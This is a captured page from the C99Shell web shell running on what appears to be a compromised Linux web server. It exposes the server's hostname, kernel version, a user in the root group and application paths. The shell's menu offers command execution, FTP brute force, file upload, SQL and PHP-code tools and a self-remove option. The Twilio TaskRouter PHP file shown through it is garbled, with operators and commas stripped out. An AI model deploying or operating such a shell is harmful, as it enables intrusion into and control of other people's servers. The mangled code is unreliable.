!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/twilio/sdk/src/Twilio/TaskRouter/   drwxrwxr-x
Free 28.64 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     WorkflowConfiguration.php (1.53 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Twilio\TaskRouter;

/**
 * Twilio TaskRouter Workflow Builder
 *
 * @author Justin Witz <jwitz@twilio.com>
 * @license  http://creativecommons.org/licenses/MIT/ MIT
 */
class WorkflowConfiguration implements \JsonSerializable {
    public 
$filters;
    public 
$default_filter;

    public function 
__construct(array $filters$default_filter null) {
        
$this->filters $filters;
        
$this->default_filter $default_filter;
    }

    public function 
toJSON() {
        return 
\json_encode($this);
    }

    public static function 
parse(string $json) {
        return 
\json_decode($json);
    }

    public static function 
fromJson(string $json): WorkflowConfiguration {
        
$configJSON self::parse($json);
        
$default_filter $configJSON->task_routing->default_filter;
        
$filters = [];
        foreach (
$configJSON->task_routing->filters as $filter) {
            
// friendly_name and filter_friendly_name should map to same variable
            
$friendly_name $filter->filter_friendly_name ?? $filter->friendly_name;
            
$filter = new WorkflowRule($filter->expression$filter->targets$friendly_name);
            
$filters[] = $filter;
        }
        return new 
WorkflowConfiguration($filters$default_filter);
    }

    public function 
jsonSerialize(): array {
        
$json = [];
        
$task_routing = [];
        
$task_routing['filters'] = $this->filters;
        
$task_routing['default_filter'] = $this->default_filter;
        
$json['task_routing'] = $task_routing;
        return 
$json;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--